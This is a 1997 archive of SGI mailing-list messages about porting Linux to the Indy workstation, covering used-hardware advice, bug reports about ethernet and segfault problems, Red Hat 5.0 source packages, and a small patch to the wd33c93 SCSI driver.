via SMTP id QAA645104 for ; Sat, 29 Nov 1997 16:50:29 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id QAA15950 for linux-list; Sat, 29 Nov 1997 16:49:50 -0800 Received: from oz.engr.sgi.com (oz.engr.sgi.com [150.166.61.27]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id QAA15942; Sat, 29 Nov 1997 16:49:41 -0800 Received: (from ariel@localhost) by oz.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) id QAA31814; Sat, 29 Nov 1997 16:49:41 -0800 (PST) From: ariel@oz.engr.sgi.com (Ariel Faigon) Message-Id: <199711300049.QAA31814@oz.engr.sgi.com> Subject: Re: Used Indys To: delznic@acm.org (Douglas F. Elznic) Date: Sat, 29 Nov 1997 16:49:40 -0800 (PST) Cc: linux@cthulhu.engr.sgi.com In-Reply-To: <3.0.2.32.19971129153944.0072bc38@192.168.4.20> from "Douglas F. Elznic" at Nov 29, 97 03:39:44 pm Reply-To: ariel@cthulhu.engr.sgi.com (Ariel Faigon) Organization: Silicon Graphics Inc. X-Mailer: ELM [version 2.4 PL24 ME5a] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 300 Lines: 14 : :Hello, : I am looking to get my hangs on a old cheap indy. I found a couple of :places on the web that catered to sell cheap sparcs but no indys. Any ideas? : : Check out: http://www.sgi.com/Products/sysrem/SysRem.html and in any case, never buy a system with less than 64MB. -- Peace, Ariel From owner-linux@cthulhu.engr.sgi.com Sat Nov 29 18:03:25 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id SAA646722 for ; Sat, 29 Nov 1997 18:03:25 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id RAA20123 for linux-list; Sat, 29 Nov 1997 17:59:03 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id RAA20118 for ; Sat, 29 Nov 1997 17:58:53 -0800 Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id RAA00840 for ; Sat, 29 Nov 1997 17:58:52 -0800 env-from (ralf@mailhost.uni-koblenz.de) Received: from thoma (ralf@thoma.uni-koblenz.de [141.26.4.61]) by informatik.uni-koblenz.de (8.8.8/8.8.8) with SMTP id CAA25214; Sun, 30 Nov 1997 02:58:51 +0100 (MET) Received: by thoma (SMI-8.6/KO-2.0) id CAA14351; Sun, 30 Nov 1997 02:58:49 +0100 Message-ID: <19971130025848.64926@thoma.uni-koblenz.de> Date: Sun, 30 Nov 1997 02:58:48 +0100 From: Ralf Baechle To: Alex deVries Cc: linux@cthulhu.engr.sgi.com Subject: Re: A report from the battle field... References: <19971128161417.23781@thoma.uni-koblenz.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.84e In-Reply-To: ; from Alex deVries on Sat, Nov 29, 1997 at 07:44:47PM -0500 Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 1906 Lines: 54 On Sat, Nov 29, 1997 at 07:44:47PM -0500, Alex deVries wrote: > > My machine is now almost fully self-hosting. It's an Indy with a 4600 > version 2.0 CPU, running Mike's EFS kernel 2.1.55. > > Okay, two significant bugs I'd like to report: > > 1. When I try to FTP a lot of files to it, it complains about "eth0: ". I > guess it's just going too quick. The file then becomes corrupt. The > somewhat odd solution is for me to FTP the file over a slower network. > Instead of grabbing the file from the machine 30cm away, I grab it from > ftp.linux.sgi.com, and it's fine. Would someone by chance have a newer > precompiled kernel? > > 2. Execution errors on various programs: > - bash: > do_page_fault() #2: sending SIGSEGV to bash for illegal readaccess > from 000000d0 (epc ==0fb676c0, ra == 0fb676a0) > - pico (part of pine): > do_page_fault() #2: sending SIGSEGV to pico for illegal readaccess from > from 000000d0 (epc ==0fb676c0, ra == 0fb676a0) The new libc plus rebuilding the binary should fix this problem. > - mingetty: > unix_gc: deferred due to low memory Uh? Never saw that one. > All these binaries are from the RPMs. > > And other things: > - /proc/cpuinfo says it's a blazing 137.63 Bogomips, but if feels about > like a 486-33. Perhaps this means nothing. I think it's something with the console. Similar the wd33c93 driver, it gives me the same feeling as my Amiga running Linux 68k. Well, a bit better, but that driver seems a bit suspect. > Also, under "system type" it > says "You'd like to know unknown". Let me tell you, I _know_ what it's > like to be unknown. I'll take a look at it. > - when I try and do a control-alt-delete, it says that it's flushing the > cache, and that's it. I found that the ARC firmware of the Indy crashes when called with L2 cache enabled. It's probably some similar problem. What is the official way to reset the Indy? Ralf From owner-linux@cthulhu.engr.sgi.com Sat Nov 29 23:05:14 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id XAA667178 for ; Sat, 29 Nov 1997 23:05:14 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id WAA11256 for linux-list; Sat, 29 Nov 1997 22:58:05 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id WAA11236 for ; Sat, 29 Nov 1997 22:57:59 -0800 Received: from lager.engsoc.carleton.ca (lager.engsoc.carleton.ca [134.117.69.26]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id WAA10867 for ; Sat, 29 Nov 1997 22:57:52 -0800 env-from (adevries@engsoc.carleton.ca) Received: from localhost (adevries@localhost) by lager.engsoc.carleton.ca (8.8.7/8.8.7) with SMTP id BAA29860 for ; Sun, 30 Nov 1997 01:55:31 -0500 Date: Sun, 30 Nov 1997 01:55:31 -0500 (EST) From: Alex deVries To: linux@cthulhu.engr.sgi.com Subject: RH 5.0 SRPMs... In-Reply-To: <19971130012555.40529@uni-koblenz.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 263 Lines: 12 They're available now: ftp://ftp.engsoc.carleton.ca/pub/redhat-5.0/srpms/ - Alex Alex deVries Rent this space for a $5 donation System Administrator to EngSoc per day. The EngSoc Project Send spam to spam@engsoc.carleton.ca. From owner-linux@cthulhu.engr.sgi.com Sat Nov 29 23:20:18 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id XAA667103 for ; Sat, 29 Nov 1997 23:20:18 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id XAA12341 for linux-list; Sat, 29 Nov 1997 23:11:49 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id XAA12330 for ; Sat, 29 Nov 1997 23:11:39 -0800 Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id XAA12941 for ; Sat, 29 Nov 1997 23:11:37 -0800 env-from (ralf@uni-koblenz.de) From: ralf@uni-koblenz.de Received: from uni-koblenz.de (ralf@pmport-13.uni-koblenz.de [141.26.249.13]) by informatik.uni-koblenz.de (8.8.8/8.8.8) with ESMTP id IAA00493 for ; Sun, 30 Nov 1997 08:11:35 +0100 (MET) Received: (from ralf@localhost) by uni-koblenz.de (8.8.7/8.8.7) id IAA00710; Sun, 30 Nov 1997 08:08:35 +0100 Message-ID: <19971130080835.57467@uni-koblenz.de> Date: Sun, 30 Nov 1997 08:08:35 +0100 To: linux@cthulhu.engr.sgi.com, msalter@cygnus.com Subject: Indy interrupt latencies & performance Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.85 Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 721 Lines: 20 Hi, five minutes starring at the wd33c93 driver solved the problem. When applying Linus' patches a superfluous disable_irq() was left over in wd33c93.c:wd33c93_queuecommand(). Removing the line makes the box feel like a computer again. This should also explain the ultralong times measured by Mark during which interrupt were disabled. Patch appended below. Ralf --- drivers/scsi/wd33c93.c.orig Sun Nov 30 07:12:08 1997 +++ drivers/scsi/wd33c93.c Sun Nov 30 07:53:27 1997 @@ -292,7 +292,6 @@ Scsi_Cmnd *tmp; unsigned long flags; - disable_irq(cmd->host->irq); DB(DB_QCMD,printk("Q-%d-%02x-%ld( ",cmd->target,cmd->cmnd[0],cmd->pid)); /* Set up a few fields in the Scsi_Cmnd structure for our own use: From owner-linux@cthulhu.engr.sgi.com Sun Nov 30 06:58:19 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id GAA691928 for ; Sun, 30 Nov 1997 06:58:19 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id GAA17749 for linux-list; Sun, 30 Nov 1997 06:51:39 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id GAA17740 for ; Sun, 30 Nov 1997 06:51:26 -0800 Received: from snowcrash.cymru.net (snowcrash.cymru.net [163.164.160.3]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id GAA06352 for ; Sun, 30 Nov 1997 06:51:25 -0800 env-from (alan@lxorguk.ukuu.org.uk) Received: from lightning.swansea.linux.org.uk (the-great-packet-bucket-in-the-sky [163.164.160.21] (may be forged)) by snowcrash.cymru.net (8.8.7/8.7.1) with SMTP id OAA04060; Sun, 30 Nov 1997 14:50:59 GMT Received: by lightning.swansea.linux.org.uk (Smail3.1.29.1 #2) id m0xcAil-0005FsC; Sun, 30 Nov 97 14:51 GMT Message-Id: From: alan@lxorguk.ukuu.org.uk (Alan Cox) Subject: Re: A report from the battle field... To: adevries@engsoc.carleton.ca (Alex deVries) Date: Sun, 30 Nov 1997 14:51:43 +0000 (GMT) Cc: linux@cthulhu.engr.sgi.com In-Reply-To: from "Alex deVries" at Nov 29, 97 07:44:47 pm Content-Type: text Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 976 Lines: 27 > 1. When I try to FTP a lot of files to it, it complains about "eth0: ". I > guess it's just going too quick. The file then becomes corrupt. The Yep. Part of that however might be the ftp binary - ncftp I get the eth0: errors but dont seem to get file corruption. > 2. Execution errors on various programs: > - bash: > do_page_fault() #2: sending SIGSEGV to bash for illegal readaccess > from 000000d0 (epc ==0fb676c0, ra == 0fb676a0) > - pico (part of pine): > do_page_fault() #2: sending SIGSEGV to pico for illegal readaccess from > from 000000d0 (epc ==0fb676c0, ra == 0fb676a0) Link these static possibly. The bash stuff is working fine on my box however the RPM maybe the one with readline in not the one I used. oops > - mingetty: > unix_gc: deferred due to low memory Miguel's kernel has this fixed (its a vmalloc thing) > - when I try and do a control-alt-delete, it says that it's flushing the > cache, and that's it. I get a reboot about 1 in 3 times From owner-linux@cthulhu.engr.sgi.com Sun Nov 30 09:34:59 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id JAA700285 for ; Sun, 30 Nov 1997 09:34:59 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id JAA00680 for linux-list; Sun, 30 Nov 1997 09:29:46 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id JAA00660 for ; Sun, 30 Nov 1997 09:29:39 -0800 Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id JAA27512 for ; Sun, 30 Nov 1997 09:29:37 -0800 env-from (ralf@uni-koblenz.de) From: ralf@uni-koblenz.de Received: from uni-koblenz.de (ralf@pmport-10.uni-koblenz.de [141.26.249.10]) by informatik.uni-koblenz.de (8.8.8/8.8.8) with ESMTP id SAA12314 for ; Sun, 30 Nov 1997 18:29:24 +0100 (MET) Received: (from ralf@localhost) by uni-koblenz.de (8.8.7/8.8.7) id RAA01489; Sun, 30 Nov 1997 17:29:19 +0100 Message-ID: <19971130172918.59762@uni-koblenz.de> Date: Sun, 30 Nov 1997 17:29:18 +0100 To: Alan Cox Cc: Alex deVries , linux@cthulhu.engr.sgi.com Subject: Re: A report from the battle field... References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.85 In-Reply-To: ; from Alan Cox on Sun, Nov 30, 1997 at 02:51:43PM +0000 Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 1027 Lines: 24 On Sun, Nov 30, 1997 at 02:51:43PM +0000, Alan Cox wrote: > > 1. When I try to FTP a lot of files to it, it complains about "eth0: ". I > > guess it's just going too quick. The file then becomes corrupt. The > > Yep. Part of that however might be the ftp binary - ncftp I get > the eth0: errors but dont seem to get file corruption. > > > 2. Execution errors on various programs: > > - bash: > > do_page_fault() #2: sending SIGSEGV to bash for illegal readaccess > > from 000000d0 (epc ==0fb676c0, ra == 0fb676a0) > > - pico (part of pine): > > do_page_fault() #2: sending SIGSEGV to pico for illegal readaccess from > > from 000000d0 (epc ==0fb676c0, ra == 0fb676a0) These addresses are in the dynamic linker. It's fixed in the CVS tree. I however still see alot of unexplainable segmentation faults on my machine. Built from the same sources I don't see that problem on my other machines, so I'd point at the Indy specific parts. The crashes related to the ethernet are the most annoying things right now. Ralf From owner-linux@cthulhu.engr.sgi.com Sun Nov 30 17:46:59 1997 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id RAA712339 for ; Sun, 30 Nov 1997 17:46:59 -0800 (PST) Return-Path: Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id RAA12977 for linux-list; Sun, 30 Nov 1997 17:44:16 -0800 Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id RAA12939 for ; Sun, 30 Nov 1997 17:44:06 -0800 Received: from lager.engsoc.carleton.ca (lager.engsoc.carleton.ca [134.117.69.26]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id RAA09400 for ; Sun, 30 Nov 1997 17:44:02 -0800 env-from (adevries@engsoc.carleton.ca) Received: from localhost (adevries@localhost) by lager.engsoc.carleton.ca (8.8.7/8.8.7) with SMTP id UAA13237 for ; Sun, 30 Nov 1997 20:41:41 -0500 Date: Sun, 30 Nov 1997 20:41:40 -0500 (EST) From: Alex deVries To: linux@cthulhu.engr.sgi.com Subject: More news... In-Reply-To: <19971130172918.59762@uni-koblenz.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-linux@cthulhu.engr.sgi.com Precedence: bulk Content-Length: 980 Lines: 34 First, the good: I have a lot working now. inetd works fine, apache is beautiful, and I can telnet into my machine. Yay! Finally, I can work from elsewhere in the world. My machine is a lot faster now that I don't have to be on the console. I'm lead to believe it's the display driver that's slow, not the whole machine. It "feels" like a P100 now. The bad news: Still more libc problems, but I'll quit whining about that since Ralf kindly told me to cross cross my own. I'm looking at my cross-compiler problems now. Next problem: I was running a ./configure for the nfs-server package, and I got a few segfaults, followed by many copies of this on the console: release_dev: pty1: read/write wait queue active! and finally: Got a bus error IRQ, shouldn't happen yet and a freeze. - Alex Alex deVries Rent this space for a $5 donation System Administrator to EngSoc per day. The EngSoc Project Send spam to spam@engsoc.carleton.ca.